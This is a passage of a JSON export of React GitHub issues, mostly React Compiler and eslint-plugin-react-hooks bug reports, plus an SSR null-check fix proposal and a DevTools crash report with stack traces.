repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhAHQHYEsC2AHCGAFwAIAqEgQzBICUFK5SAzGCHEtEGBprgbkwIAHgWIlmUDEywQMJKGAQBlKACMwcGFjxFZGABSYSJCLv00AvCWABfTAEobmYyThywpYK5NgA1joANK62JNZmeh6CGK7uGJ4kPFoMRAhhJAZOlgB8Gf46JAD8ChgAJgjMWBgIpSTINrYOLvIkADYIpADaEBoIMABulGrtgSRKRADyvQND7QC66fSMRAB0iipElKlGLSYRFiv5eEUkGFCtrXWJCMlbCK4O0bEepEk8d-TMi7yr658GbxSCEernWAElIDhCHgABZYOAAGUoAE9oEQAKLMZg3IgGTJhXLeXbXW6pT4rOCwHgYUjWQF3aImRpPFpYL4GACERxIADIeSQOT0lDNhsDnMTxlNhYNRXihX0Ze10vTtg41YySPYYi04gkeJ5KOJrEsmGslABhSgXNSMPx4rKEnwkNkZeUi9pOIkmb1jDpShWzBAAm7vMkVClUhA0zIg4lapmjbrTRUIOaxkwAegzJE6KzzCwAKjC0lVsTAeLVyngo+VpMiSAB3agkAAGkuTgZbozUUFIRGLY2g8DSVZrUbgWAQNAbfTSSelgbmKxIYIwZYrJFKbLLUdIo7K4-r-co8kgsEQK2aJh4RFg8hNvyUAFkEFD7QSMsBrgbxI1E-rNmINNoi1EBAhAOJKgAcxQEBcDEPtkWrGwSAABVaKAoKqCZzA8TUJDYDgAHIbTUBBWgAWjwDCsIwCj3iYCj3HwLB2hgDMt08IiWQML0SCzZi8FYrZ9CfCBynqLgrVaLhMFCMARLASopzQmjsNw+JHjA8AYQgBtV1SGAMCtMAUCIGAoAQWwgA\n\n### Repro steps\n\nIn the example, \n```ts\n const restart = React.useCallback(() => {\n if (observable) {\n setObservable(recreateRef.current());\n }\n }, [observable]);\n```\nshould be fine, but the compiler complains that `setObservable` is missing from the dependency array, even though it is a`React.useState` return value from the same hook.\n> The inferred dependency was `setObservable`, but the source dependencies were [observable]. Inferred different dependency than source.\n\nApologies for the weird reproduction - I couldn't reproduce this from scratch, so it's a minimized variant of where we're seeing this in the wild: https://github.com/apollographql/apollo-client/blob/a43583377ccaae60b58bc45edfc88f32bed74a46/src/react/hooks/useSubscription.ts#L375\n\nI know that on it's own, the reproduction doesn't make a lot of sense, but if I leave any of the leftover building blocks out, everything works nicely.\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.1.0, but likely irrelevant - this is a library with peerDependency 17-19\n\n### What version of React Compiler are you using?\n\n1.0.0/playground", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35118/reactions", "total_count": 8, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 7, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35105", "id": 3611060261, "node_id": "I_kwDOAJy2Ks7XPGgl", "number": 35105, "title": "[Compiler Bug]: eslint-disable incorrectly suppresses incompatible-library warning, causing silent memoization skip", "user": { "login": "manNomi", "id": 98882987, "node_id": "U_kgDOBeTVqw", "avatar_url": "https://avatars.githubusercontent.com/u/98882987?v=4", "gravatar_id": "", "url": "https://api.github.com/users/manNomi", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2025-11-11T07:29:12Z", "updated_at": "2025-11-13T00:21:03Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [x] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://github.com/manNomi/rc-test\n\n### Repro steps\n\n## 🐞 Bug Report: `eslint-disable` incorrectly suppresses `incompatible-library` warning, causing silent memoization skip\n\n### Summary\n\nFirst and foremost, I want to express my sincere gratitude for the clarification provided in https://github.com/facebook/react/pull/35096. You were absolutely correct that the compiler automatically skips memoization for incompatible APIs, and I apologize for my earlier misunderstanding about needing `use no memo`.\n\nI'm writing to humbly bring attention to what I believe may be an important edge case: an unrelated `eslint-disable` comment (such as for `exhaustive-deps`) appears to inadvertently suppress the `incompatible-library` warning. This transforms what should be a debuggable \"automatic skip\" (where developers are properly notified) into a silent skip scenario (where no notification occurs), which could potentially lead to confusion, especially for developers who are still learning React.\n\n---\n\n### The Two Scenarios\n\nPlease allow me to illustrate the concern through two scenarios:\n\n#### Scenario 1: Expected Behavior (Debuggable)\n\n1. A developer uses `useVirtualizer` (an incompatible API) within a custom hook\n2. **Compiler:** Automatically and correctly skips memoization for this hook\n3. **Linter:** Properly displays the `react-hooks/incompatible-library` warning\n4. **Result:** The developer is informed that this hook is not memoized and can adjust their debugging approach accordingly\n\nThis behavior works wonderfully and as intended.\n\n#### Scenario 2: Potential Issue (Silent Skip)\n\n1. A developer uses `useVirtualizer` (an incompatible API) within a custom hook\n2. In the same hook, they add a `useEffect` with an `eslint-disable-next-line react-hooks/exhaustive-deps` comment\n3. **Compiler:** Skips memoization for this hook (due to the incompatible API)\n4. **Linter:** The `eslint-disable-next-line react-hooks/exhaustive-deps` comment appears to also suppress the `react-hooks/incompatible-library` warning\n5. **Result:** The hook is silently un-memoized without any warning, leaving the developer without a debugging signal\n\n---\n\n### Why This Matters\n\nI understand this might be an edge case, and React's design philosophy encourages certain patterns over others. However, in real-world development, developers (especially those newer to React) sometimes write code in varied ways, which can lead to unexpected edge cases like this.\n\nThe particular concern is that **when code is extracted into a custom hook**, no error is thrown, yet only that custom hook loses its memoization—creating a subtle performance issue that's very difficult to trace.\n\nThe `incompatible-library` warning serves as a crucial debugging signal, informing developers that the compiler's automatic skip has occurred. When an unrelated `eslint-disable` rule inadvertently silences this critical signal, developers may believe their code is functioning correctly (since the linter appears clean), while the hook is actually un-memoized without their knowledge.\n\n---\n\n### Respectful Suggestion\n\nIf I may humbly suggest: perhaps an `eslint-disable` comment for one rule (such as `exhaustive-deps`) could be prevented from suppressing a different, critical warning (like `incompatible-library`)?\n\nThe `incompatible-library` warning might benefit from having higher precedence, displaying regardless of other `eslint-disable` comments, as it signals a fundamental state of the hook that developers should be made aware of.\n\n---\n\n### Closing Thoughts\n\nI want to emphasize that I have tremendous respect and love for React—it has genuinely transformed my career and given me my livelihood. If the team believes this direction would be valuable, I would be more than happy to contribute and help implement a solution to the best of my abilities.\n\nThank you so much for taking the time to consider this report, and for all the incredible work you do on React. The React Compiler is an amazing advancement for the ecosystem, and I'm excited to see it evolve.\n\nWith sincere appreciation and respect.\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.2.0\n\n### What version of React Compiler are you using?\n\n1.0.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35105/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35101", "id": 3610464597, "node_id": "I_kwDOAJy2Ks7XM1FV", "number": 35101, "title": "[Compiler Bug]: Closure prop hoisted outside its lexical scope", "user": { "login": "sliminality", "id": 57372, "node_id": "MDQ6VXNlcjU3Mzcy", "avatar_url": "https://avatars.githubusercontent.com/u/57372?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sliminality", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2025-11-11T02:46:20Z", "updated_at": "2025-11-11T02:46:42Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\n[Playground](https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEaAFALICaA+gIIBKA4gKrkCiAcgCoCURwAHWJE4hMDiIAxCBCIBeIqT5yAfEQA8AIQCGMIgAcYEfXOBL5aqnSatOXAL5EA9CqFEiMBDljFpEIfYgADQgophoeADmKCB4ALb6EDASOACe+gj8RAAKADZQkXiYAPL6+GJEjmhGcUQA5ABG2g0IuQC0+vmFmG2e2rhtogl4uQgwTgAmeOJ1ANxCQqSCwk5OQ-oj2uWY5BATCMhEAiDaubnHAURgW9MRCGA5XUWl22A8s8HgABYQAO4AkpgcGNMKcwCg0GCEPYgA)\n\n### Repro steps\n\nIn the following example, `() => MY_ARGUMENT` gets compiled to a top-level function `_temp`, but `MY_ARGUMENT` is unbound in `_temp`.\n\n#### Input\n```tsx\nfunction f(MY_ARGUMENT) {\n const Foo = () => MY_ARGUMENT} />\n return Foo\n}\n```\n\n#### Output\n```tsx\nimport { c as _c } from \"react/compiler-runtime\";\nfunction f(MY_ARGUMENT) {\n const Foo = () => …;\n return Foo;\n}\nfunction _temp() {\n return MY_ARGUMENT; // ❌ This is unbound!\n}\n```\n\nThis repros regardless of whether `Foo` is returned (though an unused `Foo` would probably be stripped out by a different optimizing pass). If `foo` is [lowercase](https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEaAFALICaA+gIIBKA4gKrkCiAcgCoCURwAHWJE4hMDhIQIRALxFSfGQD4iAHgBCAQxhEADjAi6ZwBbJVU6TVpy4BfIgHolQokRgIcsYmilDbIABoQUUw0PABzFBA8AFtdCBgJHABPXQR+IgAFABsocLxMAHldfDEiezQDGKIAcgAjTTqEbIBaXVz8zBb3TVwW0Ti8bIQYBwATPHEagG4hIVJBYQcHAd0hzVLMcggxhGQiARBNbOzDvyIwDcmwhDAsjoLizbAeacDwAAsIAHcASUwcCNMMcwCg0CCELYgA), hoisting will not occur.\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n\"target\": \"19\"\n\n### What version of React Compiler are you using?\n\n1.0.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35101/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35061", "id": 3596744593, "node_id": "I_kwDOAJy2Ks7WYfeR", "number": 35061, "title": "[Compiler Bug]: Compiler doesn't memoize if const is between hooks", "user": { "login": "Mati20041", "id": 1512933, "node_id": "MDQ6VXNlcjE1MTI5MzM=", "avatar_url": "https://avatars.githubusercontent.com/u/1512933?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Mati20041", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2025-11-06T17:12:31Z", "updated_at": "2025-11-06T17:14:35Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhAejQAgLIILYQCWAXggCaYBGAnpgEoICGcALpgMIR4AOhANghiYwhAHaJMLABaEwmWZkaY4XbhFEJRLADqiAZlHEtC6zABVGlAZy2MxggBQBKTMF2Zl6sGzKMWSgF5MKDAEAGU4KXIoAWcAbl13TBgEFlhRTAAeMkIANwA+YAApMIB5ADkAOm8YMQBzQj1qB19-JwBfTLQcgt12xNFdFVFvYNCIqLIYhEwg51n81yTh0d9qAEUoQVogkIQAEUYNrZhmpwTBjM8RtjBI6IEw-xgWM0I8GaC1ze3K1sYkh4APyYb4nah-PyMSEsBCVFgQACSZSetVEdWcgMwyGCojICD09jIF2WXjYeGO21mYwQ2Epp3iAw8KzYsgAMhBGDl0dSKT9TpVZAAFTTcuqYAA+EswAEI+eDBWAAGKpe4UKWYeW-YWi+okq4s4Rq6bUuCMPhwGJ+cLGgRvD5gBx3SbTJ6MF72hAAGnkYA5XPq5wGSRSaRgGTcVw8zoe3qxMamj2er3ecajvv9YqS7QuOYGBiMJgyZotVthE1jnsdjBcwGSqXSrkY7Uw7RAXpAw0JdRQIHeahekmo3BmdaFfCgDVEpW4xi8rcwehgXEwAHJKJYEHwALTcCdT7cpZgsbcqHj8QTdWQsVf6hyRjwYM+8Ph+IvYCD4nHaEDmvg-vphDfMBCQQORx0nMQZznEZznbcApAgAB3REtEEURzTAFA9EwhB2iAA\n\n### Repro steps\n\nThis is an extracted behavior from the code we had an issue with.\n\nIn the playground's output, you can see that neither `const scheduleStartTime` nor `const schedule` is memoized, just the return value.\n\nThis issue is fixable by moving `const scheduleStartTime` below `const myQuery` or by removing `scheduleStartTime` from `calculateScheduleTimes` argument; however, I don't understand why. \n\nIn a big codebase, it required me to dig through compilation files to find what causes instability in the returned properties.\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.1.0\n\n### What version of React Compiler are you using?\n\n1.0.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35061/reactions", "total_count": 5, "+1": 4, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35056", "id": 3594904321, "node_id": "I_kwDOAJy2Ks7WReMB", "number": 35056, "title": "Bug: Race condition in completeSegment ($RS) causes \"Cannot read properties of null (reading 'parentNode')\" error", "user": { "login": "ponharu", "id": 128346975, "node_id": "U_kgDOB6ZrXw", "avatar_url": "https://avatars.githubusercontent.com/u/128346975?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ponharu", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2025-11-06T09:27:47Z", "updated_at": "2026-02-21T16:54:10Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\n\nThe `$RS` (completeSegment) function in React DOM's Server-Side Rendering lacks null safety checks on `parentNode`, causing a race condition error when Suspense boundaries resolve in production builds.\n\n**Error:**\nCannot read properties of null (reading 'parentNode')\n\n**Root Cause:**\nFile: `packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInstructionSetInlineCodeStrings.js` (line 15)\n\nThe `completeSegment` function doesn't check if `a.parentNode` or `b.parentNode` is null before accessing it. During Suspense resolution, nodes can be removed by other processes, setting `parentNode` to `null`.\n\n**Buggy Code:**\nhttps://github.com/facebook/react/blob/v19.2.0/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInstructionSetInlineCodeStrings.js#L15\n```javascript\nexport const completeSegment =\n '$RS=function(a,b){a=document.getElementById(a);b=document.getElementById(b);for(a.parentNode.removeChild(a);a.firstChild;)b.parentNode.insertBefore(a.firstChild,b);b.parentNode.removeChild(b)};';\n```\n\nProposed Fix:\n```javascript\nexport const completeSegment =\n '$RS=function(a,b){a=document.getElementById(a);b=document.getElementById(b);if(a&&b&&a.parentNode&&b.parentNode){for(a.parentNode.removeChild(a);a.firstChild;)b.parentNode.insertBefore(a.firstChild,b);b.parentNode.removeChild(b)}};';\n```\n\nReact version: 19.2.0\n\n## Steps To Reproduce\n\n1. Clone the reproduction repository\n2. Run `npm install`\n3. Run `npm run build` (production build required)\n4. Run `npm run start`\n5. Navigate to http://localhost:3000\n6. Note: The bug may not occur on the first page load. Reload the page several times if needed.\n7. Check browser console for the error\n\n\n\nLink to code example: \n\nhttps://github.com/ponharu/react-issue\n\n\n\n## The current behavior\n\nDuring SSR with Suspense boundaries in production builds, the $RS function throws:\nCannot read properties of null (reading 'parentNode')\n\nThis occurs when the function attempts to manipulate DOM nodes whose parentNode has become null due to a race condition during Suspense resolution.\n\n\n## The expected behavior\n\nThe $RS function should safely handle cases where parentNode is null by checking for null before attempting DOM manipulation, preventing the error and allowing the page to render correctly.\n\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35056/reactions", "total_count": 5, "+1": 5, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [ 35057 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/35049", "id": 3590668436, "node_id": "I_kwDOAJy2Ks7WBUCU", "number": 35049, "title": "[DevTools Bug] Cannot read properties of undefined (reading 'map')", "user": { "login": "Amurmurmur", "id": 8608333, "node_id": "MDQ6VXNlcjg2MDgzMzM=", "avatar_url": "https://avatars.githubusercontent.com/u/8608333?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Amurmurmur", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2025-11-05T11:55:34Z", "updated_at": "2025-11-07T15:52:57Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nProfiler crashed\n\n### Repro steps\n\nTried to record in the profiler.\nNavigated to another screen in my react-native app, and profiler crash.\n\n### How often does this bug happen?\n\nSometimes\n\n### DevTools package (automated)\n\nreact-devtools-fusebox\n\n### DevTools version (automated)\n\n6.1.4-9fd4c09d68\n\n### Error message (automated)\n\nCannot read properties of undefined (reading 'map')\n\n### Error call stack (automated)\n\n```text\nat Sl (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:41:891273)\n at zo (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:1:56181)\n at xl (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:1:78611)\n at Xl (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:1:89137)\n at Wf (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:1:140488)\n at Vf (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:1:140416)\n at Bf (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:1:140258)\n at Mf (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:1:136684)\n at yd (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:1:157182)\n at MessagePort.C (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:39:1432)\n```\n\n### Error component stack (automated)\n\n```text\nat Sl (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:41:891063)\n at div ()\n at div ()\n at bv (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:41:966955)\n at div ()\n at div ()\n at Dv (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:41:968200)\n at Pv (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:41:972397)\n at div ()\n at lr (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:41:775658)\n at div ()\n at Fv (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:41:971851)\n at div ()\n at div ()\n at div ()\n at jo (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:41:869288)\n at http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:41:1089658\n at el (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:41:884838)\n at http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:41:887488\n at div ()\n at div ()\n at div ()\n at tl (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:41:887322)\n at pc (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:41:898959)\n at Ud (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:41:959076)\n at Sd (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:41:951587)\n at jr (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:41:789938)\n at wt (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:41:817279)\n at Pf (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:41:939000)\n at oS (http://127.0.0.1:8081/debugger-frontend/third_party/react-devtools/react-devtools.js:41:1096424)\n```\n\n### GitHub query string (automated)\n\n```text\nhttps://api.github.com/search/issues?q=Cannot read properties of undefined (reading 'map') in:title is:issue is:open is:public label:\"Component: Developer Tools\" repo:facebook/react\n```", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35049/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35045", "id": 3588447639, "node_id": "I_kwDOAJy2Ks7V412X", "number": 35045, "title": "Bug: `eslint-plugin-react-hooks` - Broken resolution in `7.0.1`", "user": { "login": "eidryn", "id": 241608637, "node_id": "U_kgDODmanvQ", "avatar_url": "https://avatars.githubusercontent.com/u/241608637?v=4", "gravatar_id": "", "url": "https://api.github.com/users/eidryn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 7, "created_at": "2025-11-04T23:33:01Z", "updated_at": "2025-12-29T21:23:05Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "React version: N/A\n\n## Steps To Reproduce\n\n1. Install `[email protected]`\n2. Configure with a `.config.ts` configuration (although an [issue](https://github.com/causaly/zod-validation-error/issues/606) raised in `zod-validation-error` shows `esm/resolve` so may also flag with a `.js` config)\n3. Run `npx eslint .`\n4. Error printed:\n```\nError [ERR_PACKAGE_PATH_NOT_EXPORTED]: Package subpath './v4' is not defined by \"exports\" in /node_modules/zod-validation-error/package.json\n at exportsNotFound (node:internal/modules/esm/resolve:313:10)\n at packageExportsResolve (node:internal/modules/esm/resolve:660:9)\n at resolveExports (node:internal/modules/cjs/loader:650:36)\n at Function._findPath (node:internal/modules/cjs/loader:717:31)\n at Function._resolveFilename (node:internal/modules/cjs/loader:1369:27)\n at Function.resolve (node:internal/modules/helpers:157:19)\n at jitiResolve (node_modules/jiti/dist/jiti.cjs:1:148703)\n at jitiRequire (node_modules/jiti/dist/jiti.cjs:1:150290)\n at node_modules/jiti/dist/jiti.cjs:1:157987\n at node_modules/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js:20:16\n```\n\n## The current behavior\nThere is an error when running eslint - Downgrading to `7.0.0` resolves both the above error, and the typescript issue below.\n\n## The expected behavior\nThere is no error running eslint.\n\n## Type Discrepancy\n\nAdditionally, with `v7.0.1`, typescript complains that the `react-hooks` plugin is not the correct type:\n```\n// Truncated\n Types of property 'configs' are incompatible.\n Type '{ recommended: { plugins: string[]; rules: RulesConfig; }; 'recommended-latest': { plugins: string[]; rules: RulesConfig; }; flat: { recommended: ReactHooksFlatConfig; \"recommended-latest\": ReactHooksFlatConfig; }; }' is not assignable to type 'Record | LegacyConfigObject | ConfigObject[]>'.\n Property 'flat' is incompatible with index signature.\n Type '{ recommended: ReactHooksFlatConfig; \"recommended-latest\": ReactHooksFlatConfig; }' is not assignable to type 'ConfigObject | LegacyConfigObject | ConfigObject[]'\n// Truncated\n```\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35045/reactions", "total_count": 33, "+1": 32, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 1 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35035", "id": 3581082343, "node_id": "I_kwDOAJy2Ks7Vcvrn", "number": 35035, "title": "[Compiler Bug]: Compilation skipped, reason unclear", "user": { "login": "rnkln", "id": 47398070, "node_id": "MDQ6VXNlcjQ3Mzk4MDcw", "avatar_url": "https://avatars.githubusercontent.com/u/47398070?v=4", "gravatar_id": "", "url": "https://api.github.com/users/rnkln", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2025-11-03T08:38:59Z", "updated_at": "2025-11-03T20:37:36Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, 